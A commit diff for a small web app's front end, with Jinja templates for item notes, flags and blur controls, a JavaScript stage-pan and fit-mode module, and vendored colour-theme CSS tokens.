<span class="mark-when"><time datetime="{{ a.created }}">{{ a.created|clock }}</time>{% if a.by|byline %} · {{ a.by|byline }}{% endif %}</span>
<form class="mark-undo" method="post" action="/b/{{ name_url }}/unmark" data-inplace>
<input type="hidden" name="mark" value="{{ a.id }}">
{% if marks_page %}<input type="hidden" name="back" value="marks">{% endif %}
<button type="submit" class="mark-x" title="withdraw this note" aria-label="withdraw this note">×</button>
</form>
</header>
<pre class="mark-text">{{ a.text }}</pre>
</article>
{% endfor %}
{% if fold_notes %}</details>{% endif %}
{# The operator volunteering a remark, which before marks had no mechanism at
all — this is the direction that was running through chat. #}
<form class="mark-add" method="post" action="/b/{{ name_url }}/note">
<form class="mark-add" method="post" action="/b/{{ name_url }}/note" data-inplace>
{% if marks_page %}<input type="hidden" name="back" value="marks">{% endif %}
<textarea name="text" rows="2" placeholder="a note on this booth, for the session that posted it"></textarea>
<textarea name="text" rows="2" aria-label="a note on this booth, for the session that posted it" placeholder="a note on this booth, for the session that posted it"></textarea>
<button type="submit">Add note</button>
</form>
{% endif %}
</section>
+1 -1
View File
@@ -12,6 +12,6 @@
{% elif m.error %}
<div class="prov prov-broken" title="{{ m.error }}">unreadable</div>
{% else %}
<div class="prov"><span class="prov-who">{{ m.handle }}</span>{% if m.why %} · <span class="prov-why">{{ m.why }}</span>{% endif %}</div>
<div class="prov"><span class="prov-who">{{ m.handle }}</span>{% if m.why %} · <span class="prov-why" title="{{ m.why }}">{{ m.why }}</span>{% endif %}</div>
{% endif %}
{%- endmacro %}
+122
View File
@@ -0,0 +1,122 @@
{# THE STAGE MACHINERY (r2c, shared by R3). One copy, behind a stated
interface, used by the review (one stage) and compare (two). It DEFINES two
things and binds nothing by itself:
BoothMode.bind({toggle, fit, one, onChange}) page level, once
BoothStage.attach(stageEl, {img, onSettle}) once per stage
A page binds BoothMode ONLY when at least one of its stages is an image (the
review's rule): two videos get no toggle. No key is bound here — the review
gains none, and compare's `Z` is compare's own (r3 C4, INV-6). No
ResizeObserver here either: each page owns its own, so the review's stays in
view.html with its mutation row. #}
<script>
/* The mode is ONE class on <html>, `stage-one` (absent = Fit), set by the
head script before any stage existed. This owns the class, the pressed
state, the storage writes and the cross-tab listener. It never raises:
storage that throws costs the memory, never the click. */
var BoothMode = {
bind: function (o) {
var d = document.documentElement;
var toggle = o.toggle, bFit = o.fit, bOne = o.one;
var onChange = o.onChange || function () {};
var show = function () {
var one = d.classList.contains('stage-one');
bFit.classList.toggle('on', !one);
bOne.classList.toggle('on', one);
bFit.setAttribute('aria-pressed', one ? 'false' : 'true');
bOne.setAttribute('aria-pressed', one ? 'true' : 'false');
};
/* The click applies to the page first and is remembered second: storage
that throws costs the memory, never the click. */
var setMode = function (one) {
d.classList.toggle('stage-one', one);
try {
if (one) localStorage.setItem('booth.fit', 'one'); else localStorage.removeItem('booth.fit');
} catch (e) {}
show();
onChange();
};
toggle.hidden = false;
show();
/* A mode chosen in another tab moves this one (the theme's rule). */
window.addEventListener('storage', function (e) {
if (e.key !== 'booth.fit' && e.key !== null) return;
var one = false;
try { one = localStorage.getItem('booth.fit') === 'one'; } catch (x) {}
d.classList.toggle('stage-one', one);
show();
onChange();
});
bFit.addEventListener('click', function () { setMode(false); });
bOne.addEventListener('click', function () { setMode(true); });
return {
setMode: setMode,
flip: function () { setMode(!d.classList.contains('stage-one')); }
};
}
};
/* One stage: whether its picture can pan, and DRAG TO PAN (r2c S4). Returns
{settle, pannable}; `settle` is the stage's own settle, then the page's
`onSettle` (the review places its arrows there). */
var BoothStage = {
attach: function (stage, o) {
var d = document.documentElement;
var img = o.img || null;
var onSettle = o.onSettle || function () {};
function pannable() {
var can = !!img && d.classList.contains('stage-one') &&
(stage.scrollWidth > stage.clientWidth || stage.scrollHeight > stage.clientHeight);
stage.classList.toggle('can-pan', can);
return can;
}
function settle() { pannable(); onSettle(); }
if (!img) return {settle: settle, pannable: pannable};
img.addEventListener('load', settle);
if (img.complete) settle();
/* The picture follows the pointer, a press that moves under 4px is not a
drag, and a press on a control inside the stage keeps its click. The
picture cannot be dragged away. */
stage.addEventListener('dragstart', function (e) { e.preventDefault(); });
var drag = null;
stage.addEventListener('pointerdown', function (e) {
if (e.button !== 0 || !pannable()) return;
/* a press on the stage's own scrollbar is the scrollbar's, not a pan
(heid bug-hunt, groa: the pan fought the thumb, backwards) */
var r = stage.getBoundingClientRect();
if (e.clientX - r.left - stage.clientLeft >= stage.clientWidth ||
e.clientY - r.top - stage.clientTop >= stage.clientHeight) return;
/* nothing interactive lives in a stage today (its reveal sits over
it); this keeps a future control's click its own */
if (e.target.closest && e.target.closest('button, a, input, textarea, select, summary')) return;
drag = {x: e.clientX, y: e.clientY, l: stage.scrollLeft, t: stage.scrollTop, on: false, id: e.pointerId};
});
stage.addEventListener('pointermove', function (e) {
if (!drag || e.pointerId !== drag.id) return;
/* No button held: the press ended where the stage could not hear it
(released outside before the drag began). Never pan on a hover. */
if (!(e.buttons & 1)) { endDrag(); return; }
var dx = e.clientX - drag.x, dy = e.clientY - drag.y;
if (!drag.on) {
if (dx * dx + dy * dy < 16) return; /* under 4px in all: a click */
drag.on = true;
stage.classList.add('is-grabbing');
try { stage.setPointerCapture(drag.id); } catch (x) {}
}
stage.scrollLeft = drag.l - dx;
stage.scrollTop = drag.t - dy;
e.preventDefault();
});
function endDrag() {
if (drag && drag.on) stage.classList.remove('is-grabbing');
drag = null;
}
stage.addEventListener('pointerup', endDrag);
stage.addEventListener('pointercancel', endDrag);
return {settle: settle, pannable: pannable};
}
};
</script>
+6
View File
@@ -0,0 +1,6 @@
{# as S5b: THE status line — one per page, server-rendered and empty. Never
hidden: an empty live region takes no space (.status:empty) and stays
displayed, so words set into it are announced. The script sets its text and
its tone (data-tone) only; it builds no markup (INV-6). The CSS floats it
(bottom centre, above the fixed review stage), so it never moves the page. #}
<p class="status" data-region="status" role="status" aria-live="polite"></p>
+375
View File
@@ -0,0 +1,375 @@
/* SVOS tokens — VENDORED BY COPY from design-systems
palettes/svos/colors.css + svos-theme.css @ ed2f8d8. Do not hand-edit values;
re-vendor from the source. The only transform is SCOPING: SVOS selects its
four themes by [data-theme]; the Booth follows the OS unless the viewer
forces a theme (the top-bar toggle sets data-theme on <html>). So light
applies when the OS asks and dark is not forced, or when light is forced;
high contrast follows whichever theme is in effect. No JS, no attribute:
exactly the OS. Semantic tokens only in the Booth layer below — never a
primitive, never a raw hex. */
:root {
--graphite-10: oklch(0.17 0.01 250);
--graphite-15: oklch(0.21 0.01 248);
--graphite-20: oklch(0.255 0.011 246);
--graphite-25: oklch(0.31 0.012 244);
--graphite-30: oklch(0.37 0.012 242);
--graphite-40: oklch(0.46 0.012 238);
--graphite-50: oklch(0.55 0.011 234);
--graphite-60: oklch(0.64 0.01 230);
--graphite-65: oklch(0.69 0.009 228);
--graphite-70: oklch(0.73 0.009 226);
--graphite-75: oklch(0.79 0.009 224);
--graphite-80: oklch(0.84 0.009 222);
--graphite-90: oklch(0.91 0.008 216);
--graphite-94: oklch(0.945 0.006 214);
--graphite-96: oklch(0.965 0.005 212);
--graphite-98: oklch(0.985 0.003 210);
--green-deep: oklch(0.48 0.1 119);
--green-base: oklch(0.66 0.15 119);
--green-bright: oklch(0.8 0.185 119);
--sage-deep: oklch(0.48 0.07 140);
--sage-base: oklch(0.66 0.1 140);
--sage-bright: oklch(0.8 0.1 140);
--amber-deep: oklch(0.48 0.1 78);
--amber-base: oklch(0.72 0.148 82);
--amber-bright: oklch(0.84 0.17 86);
--orange-deep: oklch(0.48 0.16 36);
--orange-base: oklch(0.66 0.213 38.5);
--orange-bright: oklch(0.8 0.12 44);
--intel-deep: oklch(0.48 0.09 235);
--intel-base: oklch(0.66 0.1 235);
--intel-bright: oklch(0.8 0.08 235);
--armed-green: var(--green-bright);
--hazard-orange: var(--orange-base);
--graphite-ink: var(--graphite-15);
}
/* dark — the lair default, and data-theme="dark" */
:root {
color-scheme: dark;
--surface-sunken: var(--graphite-10);
--surface-base: var(--graphite-15);
--surface-raised: var(--graphite-20);
--surface-overlay: oklch(0.31 0.012 244);
--surface-card: var(--graphite-20);
--surface-input: var(--graphite-10);
--surface-scrim: oklch(0.14 0.01 250 / 0.72);
--text-heading: var(--graphite-90);
--text-body: var(--graphite-75);
--text-muted: var(--graphite-70);
--text-faint: var(--graphite-60);
--text-inverse: var(--graphite-15);
--text-link: var(--intel-bright);
--text-link-hover: var(--graphite-90);
--border-subtle: var(--graphite-25);
--border-default: var(--graphite-25);
--border-strong: var(--graphite-40);
--border-focus: var(--green-bright);
--accent: var(--green-bright);
--accent-hover: oklch(0.845 0.185 119);
--accent-active: oklch(0.73 0.17 119);
--accent-text: var(--green-bright);
--accent-contrast: var(--graphite-10);
--accent-soft: color-mix(in oklab, var(--green-bright) 12%, transparent);
--accent-soft-hover: color-mix(in oklab, var(--green-bright) 20%, transparent);
--success: var(--sage-base);
--success-text: var(--sage-bright);
--success-soft: color-mix(in oklab, var(--sage-base) 14%, transparent);
--warning: var(--amber-base);
--warning-text: var(--amber-bright);
--warning-soft: color-mix(in oklab, var(--amber-base) 13%, transparent);
--danger: var(--orange-base);
--danger-hover: oklch(0.71 0.18 38.5);
--danger-text: var(--orange-bright);
--danger-contrast: var(--graphite-10);
--danger-soft: color-mix(in oklab, var(--orange-base) 14%, transparent);
--intel: var(--intel-base);
--intel-text: var(--intel-bright);
--intel-soft: color-mix(in oklab, var(--intel-base) 14%, transparent);
--selection-bg: var(--green-bright);
--selection-fg: var(--graphite-10);
}
/* art layer: voices, type, space, radii, motion, elevation, the devices */
:root {
/* voices — Plex speaks, mono records, Exan appears on the letterhead */
--font-sans: "IBM Plex Sans", ui-sans-serif, system-ui, -apple-system, "Segoe UI", Roboto, sans-serif;
--font-mono: "JetBrains Mono", ui-monospace, "SF Mono", Menlo, Consolas, monospace;
--font-brand: "Exan", "IBM Plex Sans", sans-serif;
/* type — 14px base, calm ladder */
--size-display: 38px; --size-h1: 25px; --size-h2: 18px; --size-h3: 15px;
--size-body: 14px; --size-sm: 13px; --size-caption: 12px;
--size-micro: 11px; --size-mono: 12.5px;
--tracking-display: -0.02em; --tracking-h: -0.01em; --tracking-caps: 0.12em;
--leading-body: 1.55; --leading-tight: 1.12;
/* spacing — 4px base, roomier than an ops console has any right to be */
--space-1: 4px; --space-2: 8px; --space-3: 12px; --space-4: 16px;
--space-5: 20px; --space-6: 24px; --space-8: 32px; --space-12: 48px;
--space-16: 64px; --space-24: 96px;
/* radii — calm 8/12; the Bureau stamps square off at 3 */
--radius-sm: 3px; --radius-md: 6px; --radius-lg: 8px;
--radius-xl: 12px; --radius-pill: 999px;
/* motion — unhurried decel; nothing loops, nothing bounces */
--ease-out: cubic-bezier(0.16, 1, 0.3, 1);
--dur-1: 120ms; --dur-2: 200ms; --dur-3: 300ms;
/* elevation (dark default: heavier, cool) */
--shadow-sm: 0 1px 2px rgb(0 0 0 / 0.35);
--shadow-md: 0 4px 14px rgb(0 0 0 / 0.4);
--shadow-lg: 0 14px 36px rgb(0 0 0 / 0.5);
/* device 2 — the hazard stripe (irreversible actions ONLY) */
--hazard-alt: color-mix(in oklab, var(--danger) 25%, var(--surface-sunken));
--hazard-stripe: repeating-linear-gradient(-45deg,
var(--danger) 0 8px, var(--hazard-alt) 8px 16px);
/* device 3 — the armed glow (live power ONLY) */
--glow-armed: 0 0 12px color-mix(in oklab, var(--accent) 40%, transparent);
}
/* light: the OS asks and the viewer has not forced dark ... */
@media (prefers-color-scheme: light) {
:root:not([data-theme="dark"]) {
color-scheme: light;
--surface-sunken: var(--graphite-94);
--surface-base: var(--graphite-96);
--surface-raised: var(--graphite-98);
--surface-overlay: #ffffff;
--surface-card: var(--graphite-98);
--surface-input: #ffffff;
--surface-scrim: oklch(0.21 0.01 248 / 0.4);
--text-heading: var(--graphite-15);
--text-body: var(--graphite-30);
--text-muted: var(--graphite-40);
--text-faint: var(--graphite-50);
--text-inverse: var(--graphite-90);
--text-link: oklch(0.455 0.097 235);
--text-link-hover: var(--graphite-15);
--border-subtle: oklch(0.89 0.006 218);
--border-default: oklch(0.85 0.008 220);
--border-strong: var(--graphite-75);
--border-focus: var(--green-deep);
--accent: var(--green-deep);
--accent-hover: oklch(0.44 0.1 119);
--accent-active: oklch(0.4 0.09 119);
--accent-text: oklch(0.44 0.1 119);
--accent-contrast: #ffffff;
--accent-soft: color-mix(in oklab, var(--green-deep) 11%, transparent);
--accent-soft-hover: color-mix(in oklab, var(--green-deep) 18%, transparent);
--success: var(--sage-deep);
--success-text: var(--sage-deep);
--success-soft: color-mix(in oklab, var(--sage-deep) 10%, transparent);
--warning: var(--amber-deep);
--warning-text: var(--amber-deep);
--warning-soft: color-mix(in oklab, var(--amber-base) 18%, transparent);
--danger: var(--orange-deep);
--danger-hover: oklch(0.44 0.15 36);
--danger-text: var(--orange-deep);
--danger-contrast: #ffffff;
--danger-soft: color-mix(in oklab, var(--orange-deep) 9%, transparent);
--intel: var(--intel-deep);
--intel-text: var(--intel-deep);
--intel-soft: color-mix(in oklab, var(--intel-deep) 9%, transparent);
--selection-bg: var(--green-deep);
--selection-fg: #ffffff;
--shadow-sm: 0 1px 2px rgb(23 31 38 / 0.07);
--shadow-md: 0 4px 14px rgb(23 31 38 / 0.1);
--shadow-lg: 0 14px 36px rgb(23 31 38 / 0.14);
--glow-armed: 0 0 10px color-mix(in oklab, var(--accent) 30%, transparent);
}
}
/* ... or the viewer forced light. Same declarations as above, by construction. */
:root[data-theme="light"] {
color-scheme: light;
--surface-sunken: var(--graphite-94);
--surface-base: var(--graphite-96);
--surface-raised: var(--graphite-98);
--surface-overlay: #ffffff;
--surface-card: var(--graphite-98);
--surface-input: #ffffff;
--surface-scrim: oklch(0.21 0.01 248 / 0.4);
--text-heading: var(--graphite-15);
--text-body: var(--graphite-30);
--text-muted: var(--graphite-40);
--text-faint: var(--graphite-50);
--text-inverse: var(--graphite-90);
--text-link: oklch(0.455 0.097 235);
--text-link-hover: var(--graphite-15);
--border-subtle: oklch(0.89 0.006 218);
--border-default: oklch(0.85 0.008 220);
--border-strong: var(--graphite-75);
--border-focus: var(--green-deep);
--accent: var(--green-deep);
--accent-hover: oklch(0.44 0.1 119);
--accent-active: oklch(0.4 0.09 119);
--accent-text: oklch(0.44 0.1 119);
--accent-contrast: #ffffff;
--accent-soft: color-mix(in oklab, var(--green-deep) 11%, transparent);
--accent-soft-hover: color-mix(in oklab, var(--green-deep) 18%, transparent);
--success: var(--sage-deep);
--success-text: var(--sage-deep);
--success-soft: color-mix(in oklab, var(--sage-deep) 10%, transparent);
--warning: var(--amber-deep);
--warning-text: var(--amber-deep);
--warning-soft: color-mix(in oklab, var(--amber-base) 18%, transparent);
--danger: var(--orange-deep);
--danger-hover: oklch(0.44 0.15 36);
--danger-text: var(--orange-deep);
--danger-contrast: #ffffff;
--danger-soft: color-mix(in oklab, var(--orange-deep) 9%, transparent);
--intel: var(--intel-deep);
--intel-text: var(--intel-deep);
--intel-soft: color-mix(in oklab, var(--intel-deep) 9%, transparent);
--selection-bg: var(--green-deep);
--selection-fg: #ffffff;
--shadow-sm: 0 1px 2px rgb(23 31 38 / 0.07);
--shadow-md: 0 4px 14px rgb(23 31 38 / 0.1);
--shadow-lg: 0 14px 36px rgb(23 31 38 / 0.14);
--glow-armed: 0 0 10px color-mix(in oklab, var(--accent) 30%, transparent);
}
/* dark high contrast: whenever dark is in effect (light, below, outranks it) */
@media (prefers-contrast: more) {
:root {
--surface-sunken: var(--graphite-10);
--surface-base: var(--graphite-15);
--surface-raised: var(--graphite-20);
--surface-overlay: oklch(0.31 0.012 244);
--surface-card: var(--graphite-20);
--surface-input: var(--graphite-10);
--surface-scrim: oklch(0.14 0.01 250 / 0.72);
--text-heading: var(--graphite-90);
--text-body: var(--graphite-75);
--text-muted: var(--graphite-70);
--text-faint: oklch(0.7142 0.0085 230);
--text-inverse: var(--graphite-15);
--text-link: var(--intel-bright);
--text-link-hover: var(--graphite-90);
--border-subtle: var(--graphite-25);
--border-default: var(--graphite-40);
--border-strong: var(--graphite-50);
--border-focus: var(--green-bright);
--accent: var(--green-bright);
--accent-hover: oklch(0.845 0.185 119);
--accent-active: oklch(0.73 0.17 119);
--accent-text: var(--green-bright);
--accent-contrast: var(--graphite-10);
--accent-soft: color-mix(in oklab, var(--green-bright) 12%, transparent);
--accent-soft-hover: color-mix(in oklab, var(--green-bright) 20%, transparent);
--success: var(--sage-base);
--success-text: var(--sage-bright);
--success-soft: color-mix(in oklab, var(--sage-base) 14%, transparent);
--warning: var(--amber-base);
--warning-text: var(--amber-bright);
--warning-soft: color-mix(in oklab, var(--amber-base) 13%, transparent);
--danger: var(--orange-base);
--danger-hover: oklch(0.71 0.18 38.5);
--danger-text: var(--orange-bright);
--danger-contrast: var(--graphite-10);
--danger-soft: color-mix(in oklab, var(--orange-base) 14%, transparent);
--intel: var(--intel-base);
--intel-text: var(--intel-bright);
--intel-soft: color-mix(in oklab, var(--intel-base) 14%, transparent);
--selection-bg: var(--green-bright);
--selection-fg: var(--graphite-10);
}
}
/* light high contrast: the OS light case ... */
@media (prefers-contrast: more) and (prefers-color-scheme: light) {
:root:not([data-theme="dark"]) {
--surface-sunken: var(--graphite-94);
--surface-base: var(--graphite-96);
--surface-raised: var(--graphite-98);
--surface-overlay: #ffffff;
--surface-card: var(--graphite-98);
--surface-input: #ffffff;
--surface-scrim: oklch(0.21 0.01 248 / 0.4);
--text-heading: var(--graphite-15);
--text-body: var(--graphite-30);
--text-muted: oklch(0.4403 0.0102 238);
--text-faint: oklch(0.4403 0.00935 234);
--text-inverse: var(--graphite-90);
--text-link: oklch(0.4371 0.08245 235);
--text-link-hover: var(--graphite-15);
--border-subtle: oklch(0.89 0.006 218);
--border-default: var(--graphite-60);
--border-strong: var(--graphite-40);
--border-focus: var(--green-deep);
--accent: var(--green-deep);
--accent-hover: oklch(0.44 0.1 119);
--accent-active: oklch(0.4 0.09 119);
--accent-text: oklch(0.436 0.085 119);
--accent-contrast: #ffffff;
--accent-soft: color-mix(in oklab, var(--green-deep) 11%, transparent);
--accent-soft-hover: color-mix(in oklab, var(--green-deep) 18%, transparent);
--success: var(--sage-deep);
--success-text: oklch(0.4033 0.0595 140);
--success-soft: color-mix(in oklab, var(--sage-deep) 10%, transparent);
--warning: var(--amber-deep);
--warning-text: oklch(0.4103 0.085 78);
--warning-soft: color-mix(in oklab, var(--amber-base) 18%, transparent);
--danger: var(--orange-deep);
--danger-hover: oklch(0.44 0.15 36);
--danger-text: oklch(0.4225 0.136 36);
--danger-contrast: #ffffff;
--danger-soft: color-mix(in oklab, var(--orange-deep) 9%, transparent);
--intel: var(--intel-deep);
--intel-text: oklch(0.4373 0.0765 235);
--intel-soft: color-mix(in oklab, var(--intel-deep) 9%, transparent);
--selection-bg: var(--green-deep);
--selection-fg: #ffffff;
}
}
/* ... and the forced light case. */
@media (prefers-contrast: more) {
:root[data-theme="light"] {
--surface-sunken: var(--graphite-94);
--surface-base: var(--graphite-96);
--surface-raised: var(--graphite-98);
--surface-overlay: #ffffff;
--surface-card: var(--graphite-98);
--surface-input: #ffffff;
--surface-scrim: oklch(0.21 0.01 248 / 0.4);
--text-heading: var(--graphite-15);
--text-body: var(--graphite-30);
--text-muted: oklch(0.4403 0.0102 238);
--text-faint: oklch(0.4403 0.00935 234);
--text-inverse: var(--graphite-90);
--text-link: oklch(0.4371 0.08245 235);
--text-link-hover: var(--graphite-15);
--border-subtle: oklch(0.89 0.006 218);
--border-default: var(--graphite-60);
--border-strong: var(--graphite-40);
--border-focus: var(--green-deep);
--accent: var(--green-deep);
--accent-hover: oklch(0.44 0.1 119);
--accent-active: oklch(0.4 0.09 119);
--accent-text: oklch(0.436 0.085 119);
--accent-contrast: #ffffff;
--accent-soft: color-mix(in oklab, var(--green-deep) 11%, transparent);
--accent-soft-hover: color-mix(in oklab, var(--green-deep) 18%, transparent);
--success: var(--sage-deep);
--success-text: oklch(0.4033 0.0595 140);
--success-soft: color-mix(in oklab, var(--sage-deep) 10%, transparent);
--warning: var(--amber-deep);
--warning-text: oklch(0.4103 0.085 78);
--warning-soft: color-mix(in oklab, var(--amber-base) 18%, transparent);
--danger: var(--orange-deep);
--danger-hover: oklch(0.44 0.15 36);
--danger-text: oklch(0.4225 0.136 36);
--danger-contrast: #ffffff;
--danger-soft: color-mix(in oklab, var(--orange-deep) 9%, transparent);
--intel: var(--intel-deep);
--intel-text: oklch(0.4373 0.0765 235);
--intel-soft: color-mix(in oklab, var(--intel-deep) 9%, transparent);
--selection-bg: var(--green-deep);
--selection-fg: #ffffff;
}
}
+1655 -509
View File
File diff suppressed because it is too large Load Diff
+231 -61
View File
@@ -1,26 +1,35 @@
{% extends "base.html" %}
{% from "_provenance.html" import provenance %}
{% from "_lifetime.html" import lifetime %}
{% from "_dates.html" import dates %}
{# The blur toggle, defined ONCE. There are three item branches in this file
(doc / media / other) and the first cut of this feature patched only one of
them, so docs rendered with no control at all. A macro makes "patched two of
three" impossible rather than merely unlikely. #}
{% macro blurtoggle(name_url, it, cls='') -%}
{# Blurred only because the whole booth is (r2b D2b): say so, and offer no
per-item un-blur — the booth flag would keep it blurred, so the control
would do nothing visible. The header un-blurs the booth. #}
{% if it.blurred and not it.blurred_self %}
<span class="blurtoggle blur-by-booth {{ cls }}" title="blurred with the whole booth — un-blur the booth in the header">◉ booth</span>
{% else %}
<form class="blurtoggle {{ cls }}" method="post" action="/b/{{ name_url }}/blur">
<input type="hidden" name="f" value="{{ it.name }}">
<input type="hidden" name="on" value="{{ '0' if it.blurred else '1' }}">
<button title="{{ 'un-blur this item' if it.blurred else 'blur this item — cosmetic only, the file is still served' }}"
aria-label="{{ 'un-blur' if it.blurred else 'blur' }} {{ it.name }}"
>{{ '◉ blurred' if it.blurred else '◌ blur' }}</button>
<input type="hidden" name="on" value="{{ '0' if it.blurred_self else '1' }}">
<button title="{{ 'un-blur this item' if it.blurred_self else 'blur this item — cosmetic only, the file is still served' }}"
aria-label="{{ 'un-blur' if it.blurred_self else 'blur' }} {{ it.name }}"
>{{ '◉ blurred' if it.blurred_self else '◌ blur' }}</button>
</form>
{% endif %}
{%- endmacro %}
{# The per-item MARK controls: flag (the operator pointing at this one) and a
note field. Same macro discipline as blurtoggle above — three item branches,
one definition. `marks` here is THIS item's marks, from item_marks. #}
{% macro markcontrols(name_url, it, marks, cls='') -%}
{% set flagged = marks | selectattr('shape', 'equalto', 'flag') | list | length > 0 %}
<form class="flagtoggle {{ cls }}" method="post" action="/b/{{ name_url }}/flag">
{# THE flag predicate (flagged_targets), shared with every other surface #}
{% set flagged = it.name in flagged_set %}
<form class="flagtoggle {{ cls }}" method="post" action="/b/{{ name_url }}/flag" data-inplace>
<input type="hidden" name="target" value="{{ it.name }}">
<input type="hidden" name="on" value="{{ '0' if flagged else '1' }}">
<button title="{{ 'un-flag this item' if flagged else 'flag this one — the session that posted it can read the selection' }}"
@@ -35,25 +44,35 @@
textarea. #}
{% macro marknotes(name_url, it, marks) -%}
{% for m in marks if m.shape == 'note' %}
<div class="item-note" id="mark-{{ m.id }}">
{# no id: `mark-<id>` names the panel's article, which is what the CLI's
`#mark-<id>` links mean (booth-dev, 2026-09-28) #}
<div class="item-note">
<pre>{{ m.text }}</pre>
<form method="post" action="/b/{{ name_url }}/unmark">
<form method="post" action="/b/{{ name_url }}/unmark" data-inplace>
<input type="hidden" name="mark" value="{{ m.id }}">
<button class="mark-x" title="withdraw this note">×</button>
<button class="mark-x" title="withdraw this note" aria-label="withdraw this note">×</button>
</form>
</div>
{% endfor %}
<details class="item-addnote">
<summary>+ note</summary>
<form method="post" action="/b/{{ name_url }}/note">
<form method="post" action="/b/{{ name_url }}/note" data-inplace>
<input type="hidden" name="target" value="{{ it.name }}">
<textarea name="text" rows="2" placeholder="a note on this item"></textarea>
<textarea name="text" rows="2" aria-label="a note on this item" placeholder="a note on this item"></textarea>
<button type="submit">Add</button>
</form>
</details>
{%- endmacro %}
{# R2 C1: an item's number in the WHOLE set, zero-padded to the set's width so
a column of them lines up. Width reads `all_items`, never the filtered list:
a filter must not change how a number is written any more than which. #}
{% macro ordinal(it) -%}
<span class="ord" data-ordinal="{{ it.ordinal }}">#{{ "%0*d"|format((all_items|length|string|length), it.ordinal) }}</span>
{%- endmacro %}
{% block title %}{{ name }} · The Booth{% endblock %}
{% block html_attrs %} data-booth="{{ name }}"{% endblock %}
{% block content %}
<div class="boothhead">
<a class="back" href="/">‹ all booths</a>
@@ -66,7 +85,9 @@
{% else %}
<h1>{{ name }}</h1>
{% endif %}
<span class="sub">{% if uploaded %}<span class="badge">⬆ pickup</span> {% endif %}{% if board %}{{ board|length }} link{{ '' if board|length == 1 else 's' }}{% if items %} · {{ items|length }} file{{ '' if items|length == 1 else 's' }}{% endif %} · {{ lifetime(kept, hold, expires_in) }}{% else %}{% if marks_open %}<span class="badge badge-mark">{{ marks_open }} open</span> · {% endif %}{{ items|length }} item{{ '' if items|length == 1 else 's' }} · {{ lifetime(kept, hold, expires_in) }}{% endif %}</span>
{# The open count and the lifetime line depend on marks, so they are a region
(R2 C3): answering the last pick in place must not leave "1 open" behind. #}
<span class="region-wrap" data-region="booth-status"><span class="sub">{% if uploaded %}<span class="badge">⬆ pickup</span> {% endif %}{% if board %}{{ board|length }} link{{ '' if board|length == 1 else 's' }}{% if items %} · {{ items|length }} file{{ '' if items|length == 1 else 's' }}{% endif %}{{ dates(created_at, landed_at, now) }} · {{ lifetime(kept, hold, expires_in) }}{% else %}{% if marks_open %}<span class="badge badge-mark">{{ marks_open }} open</span> · {% endif %}{{ items|length }} item{{ '' if items|length == 1 else 's' }}{{ dates(created_at, landed_at, now) }} · {{ lifetime(kept, hold, expires_in) }}{% endif %}</span></span>
{% if items %}<a class="dl-link" href="/b/{{ name_url }}/?download=1" title="download this booth as a zip">⬇ zip</a>{% endif %}
{{ provenance(manifest) }}
{# A durable multi-writer board gets no one-click wipe — same rule as the
@@ -75,7 +96,8 @@
{# Promote or release without going back to the index. `next` keeps you on
this page instead of bouncing you to /. #}
{% if kept %}
<form class="keep-lg" method="post" action="/b/{{ name_url }}/unkeep">
<form class="keep-lg" method="post" action="/b/{{ name_url }}/unkeep"
data-booth="{{ name }}" data-confirm="release">
<input type="hidden" name="next" value="/b/{{ name_url }}/">
<button title="release — rejoins the TTL sweep">★ kept — release</button>
</form>
@@ -84,10 +106,27 @@
<input type="hidden" name="next" value="/b/{{ name_url }}/">
<button title="keep — exempt from the TTL sweep">☆ keep</button>
</form>
{% endif %}
{# r2b D2b + D2: the booth-wide blur controls, outside every data-region.
The fog is server state for every viewer and a plain form (works with
scripts off); its label says what IS. Reveal all lifts it for this tab
only, and is markup only when something here is blurred. A BOARD gets
them too when it holds files: only the one-click wipe is board-suppressed,
and an item's "◉ booth" label points here. #}
{% if all_items %}
{# The fog form IS a region: its label is server state, so an in-place save
refreshes it with everything else (a fog set elsewhere since this page
loaded would otherwise leave it saying "blur booth"). Reveal all is not:
its state lives in this tab, and a swap must never reset it. #}
<span class="region-wrap" data-region="blur-booth"><form class="blur-all{% if booth_blurred %} is-on{% endif %}" method="post" action="/b/{{ name_url }}/blurbooth">
<input type="hidden" name="on" value="{{ '0' if booth_blurred else '1' }}">
<button title="{{ 'un-blur the whole booth — per-item blur stays as it was' if booth_blurred else 'blur every image and video in this booth — cosmetic only, the files are still served' }}">{{ '◉ booth blurred' if booth_blurred else '◌ blur booth' }}</button>
</form></span>
{% if all_items | selectattr('blurred') | list %}<button type="button" class="reveal-all-btn" data-reveal-all hidden title="blur is cosmetic — the files are still served"><span class="ra-label">👁 reveal all</span><span class="ra-note"> — blur is cosmetic</span></button>{% endif %}
{% endif %}
{% if not board %}
<form class="wipe wipe-lg" method="post" action="/b/{{ name_url }}/delete"
onsubmit="return confirm('Wipe this booth now?')">
data-booth="{{ name }}" data-confirm="{{ 'wipe-kept' if kept else 'wipe' }}">
<button>Wipe now</button>
</form>
{% endif %}
@@ -109,8 +148,17 @@
a gallery, and the add-note control would be noise on it — but the
suppression was unconditional, so a pick declared on a booth that happens to
carry a links.md had no form to answer it and nothing said so. #}
{% if marks or not board %}
{# R2 C5: on a GALLERY booth the panel moves into the verdict aside beside the
set (below). It renders up here only where there is no set to sit beside —
a board, or a booth with marks and nothing to show. #}
{# `is_board`, not `board`: PAGE IDENTITY, not page content — the lesson the
bench panel already learned. `board` is the parsed rows, empty for a
links.md with none, and a board with an image in it must still be a board. #}
{% set lightbox = all_items and not is_board %}
{% if (marks or not board) and not lightbox %}
<div class="marks-panel" data-region="marks-panel">
{% include "_marks.html" %}
</div>
{% endif %}
{# THE BENCH REGISTRY — BLOCK LEVEL, and that placement is load-bearing.
@@ -170,13 +218,13 @@
{% endif %}
{% endfor %}
<button type="submit" class="bench-rm" formaction="/b/{{ name_url }}/bench-remove"
title="remove this bench">&times;</button>
title="remove this bench" aria-label="remove the bench {{ b.name or b.url }}">&times;</button>
</form>
</div>
{% endfor %}
<form class="bench-add" method="post" action="/b/{{ name_url }}/bench-add">
<input type="url" name="url" placeholder="https://host:port/" required>
<input type="text" name="name" placeholder="what it is">
<input type="url" name="url" aria-label="https://host:port/" placeholder="https://host:port/" required>
<input type="text" name="name" aria-label="what it is" placeholder="what it is">
<button type="submit">register</button>
</form>
</div>
@@ -218,28 +266,56 @@
<div class="board-row{% if e.pinned %} is-pinned{% endif %}{% if e.dead %} board-dead{% endif %}">
<input class="board-check" type="checkbox" name="sel" value="{{ e.id }}" aria-label="select {{ e.desc }}">
<button type="submit" class="board-pin{% if e.pinned %} on{% endif %}" formaction="/b/{{ name_url }}/pin"
